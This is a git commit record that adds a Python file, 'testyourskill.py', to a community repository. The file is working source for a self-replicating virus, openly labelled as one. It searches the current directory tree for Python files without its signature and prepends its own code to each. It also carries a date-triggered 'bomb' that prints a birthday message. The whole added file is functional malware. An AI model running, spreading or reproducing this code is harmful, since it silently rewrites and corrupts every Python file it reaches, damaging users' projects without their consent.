Merge pull request codehouseindia#218 from avinashupadhyay/patch-1

codehouseindia · web-flow · commit de151c54a98c · 2020-10-02T14:37:21.000+05:30
added new file
diff --git a/testyourskill.py b/testyourskill.py
@@ -0,0 +1,41 @@
+# https://www.facebook.com/100010190148120/posts/1298325610517098/
+# subscribed by Avinash Upadhyay
+#!/usr/bin/python
+import os
+import datetime
+SIGNATURE = "TESTYOURSKILL VIRUS"
+def search(path):
+    filestoinfect = []
+    filelist = os.listdir(path)
+    for fname in filelist:
+        if os.path.isdir(path+"/"+fname):
+            filestoinfect.extend(search(path+"/"+fname))
+        elif fname[-3:] == ".py":
+            infected = False
+            for line in open(path+"/"+fname):
+                if SIGNATURE in line:
+                    infected = True
+                    break
+            if infected == False:
+                filestoinfect.append(path+"/"+fname)
+    return filestoinfect
+def infect(filestoinfect):
+    virus = open(os.path.abspath(__file__))
+    virusstring = ""
+    for i,line in enumerate(virus):
+        if i>=0 and i <39:
+            virusstring += line
+    virus.close
+    for fname in filestoinfect:
+        f = open(fname)
+        temp = f.read()
+        f.close()
+        f = open(fname,"w")
+        f.write(virusstring + temp)
+        f.close()
+def bomb():
+    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
+        print "HAPPY BIRTHDAY CRANKLIN!"
+filestoinfect = search(os.path.abspath(""))
+infect(filestoinfect)
+bomb()
